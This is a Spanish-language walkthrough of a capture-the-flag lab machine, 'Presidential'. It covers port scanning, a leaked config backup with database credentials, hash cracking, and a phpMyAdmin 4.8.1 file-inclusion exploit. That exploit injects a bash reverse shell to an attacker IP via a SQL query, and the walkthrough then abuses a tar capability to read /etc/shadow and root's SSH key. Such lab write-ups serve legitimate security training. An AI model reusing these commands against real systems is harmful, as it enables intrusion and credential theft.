Explicación e instalación

En este cuarto escenario vamos a estar resolviendo la máquina Presidential, para descargarla nos vamos a dirigir al siguiente link. En este caso tendremos que configurar el adaptador de red en modo Bridged.


Resolución

Reconocimiento

NMAP

# Nmap 7.94SVN scan initiated Wed Oct 30 14:17:31 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oN allPorts 192.168.0.190
Nmap scan report for 192.168.0.190
Host is up, received arp-response (0.0011s latency).
Scanned at 2024-10-30 14:17:31 -03 for 5s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE  REASON
80/tcp   open  http     syn-ack ttl 64
2082/tcp open  infowave syn-ack ttl 64
MAC Address: 00:0C:29:8F:3B:C1 (VMware)
 
Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Oct 30 14:17:37 2024 -- 1 IP address (1 host up) scanned in 5.76 seconds

Servicios y versiones

# Nmap 7.94SVN scan initiated Wed Oct 30 14:18:21 2024 as: nmap -sCV -p80,2082 -oN services 192.168.0.190
Nmap scan report for 192.168.0.190
Host is up (0.00030s latency).
 
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
|_http-title: Ontario Election Services » Vote Now!
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.5.38
2082/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 06:40:f4:e5:8c:ad:1a:e6:86:de:a5:75:d0:a2:ac:80 (RSA)
|   256 e9:e6:3a:83:8e:94:f2:98:dd:3e:70:fb:b9:a3:e3:99 (ECDSA)
|_  256 66:a8:a1:9f:db:d5:ec:4c:0a:9c:4d:53:15:6c:43:6c (ED25519)
MAC Address: 00:0C:29:8F:3B:C1 (VMware)
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 30 14:18:27 2024 -- 1 IP address (1 host up) scanned in 6.84 seconds

Información obtenida y acceso

-----------------------------------------------------
Puerto 80
 
whatweb: http://192.168.0.190 [200 OK] Apache[2.4.6], Bootstrap, Country[RESERVED][ZZ], Email[contact@example.com,contact@votenow.loca], HTML5, HTTPServer[CentOS][Apache/2.4.6
 (CentOS) PHP/5.5.38], IP[192.168.0.190], JQuery, PHP[5.5.38], Script, Title[Ontario Election Services » Vote Now!]
 
Virtual Hosting: votenow.local
 
Servicio Apache/2.4.6
PHP/5.5.38
contact@example.com
contact@votenow.local
 
Directory's (gobuster)
/cgi-bin/
/icons/
/assets/
# Se encontró realizando un escaneo exhaustivo con -x php,txt,html,php.bak,bak,tar,zip más directorios (HAY QUE PROBAR SIEMPRE CON --add-slash y SIN TAMBIÉN)
gobuster dir -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.0.190/ -t 20 -x php,txt,html,php.bak,bak
/config.php
/config.php.bak
 
----------------------------------------------------
#### Credenciales en /config.php.bak ####
 
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";
 
----------------------------------------------------
 
########## GANAMOS ACCESO A LA MÁQUINA
 
Sub-domains (gobuster y WFUZZ) (Se utilizó diccionario de top-1-million y también se utilizó el diccionario de directory-list-2.3-medium a pesar de que sea un diccionario de directorios)
 
datasafe.votenow.local/ PANEL DE LOGIN DE PHPMYADMIN (Lo incorporamos al /etc/hosts)
 
Utilizamos las credenciales del archivo /config.php.bak de votenow.local para ganar acceso al panel de Login de phpmyadmin
 
Una vez dentro, en la pestaña votebox y luego desplegando users, veremos al usuario admin con sus credenciales.
 
#### admin:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
Crackeamos la contraseña con la herramienta john -w:/usr/share/wordlists/rockyou.txt
La contraseña crackeada es Stella
 
whatweb: datasafe.votenow.local = phpMyAdmin[4.8.1]
searchsploit phpMyAdmin 4.8.1 RCE: php/webapps/50457.py
 
Tomando la información del script del RCE nos dirigímos a la ruta --> /index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_(COOKIE ACTUAL ACÁ)
Dicha ruta nos mostrará una especie de "Log" de las querys tramitadas en mysql, por lo tanto si nos metemos en la pestaña SQL y colocamos un código PHP, será interpretado al volver al LOG, yo coloque una REVERSE SHELL --> select '<?php system("bash -i >& /dev/tcp/192.168.0.194/443 0>&1") ?>'
 
########## GANAMOS ACCESO A LA MÁQUINA
 
################################################
 
Escalada de privilegios:
 
Ganamos acceso a la máquina y nos logueamos como el usuario "admin" que previamente conseguimos su contraseña y la hemos crackeado.
 
Con getcap -r / 2>/dev/null encontramos una capabilitie llamada cap_dac_read_search+ep asignada en el binario /usr/bin/tarS que actua igual que la herramienta tar para comprimir y descomprimir archivos, por lo tanto lo que haremos será comprimir el contenido del /etc/shadow (Que no poseemos permiso de lectura) en el directorio /tmp/.
 
tar -cvf shadow.tar /etc/shadow
Despues lo descomprimimos con tar -xvf shadow.tar de esta forma podemos ver su contenido ya que nosotros somos los propietarios de dicho comprimido.
 
Verificamos que esto funciona, por lo tanto podríamos leer cualquier archivo del sistema, esto nos permite leer el archivo de la clave privada del usuario root, ubicado en /root/.ssh/id_rsa, de esta forma conseguiremos la clave que nos permitirá autenticarnos sin proporcionar contraseña a través del servicio SSH.
 
ssh -i id_rsa root@localhost -p 2082 ------> le pasamos el archivo llamado id_rsa que conseguimos con el comando tarS y ingresamos al usuario root a través del puerto 2082 SHH.

Imágenes de utilidad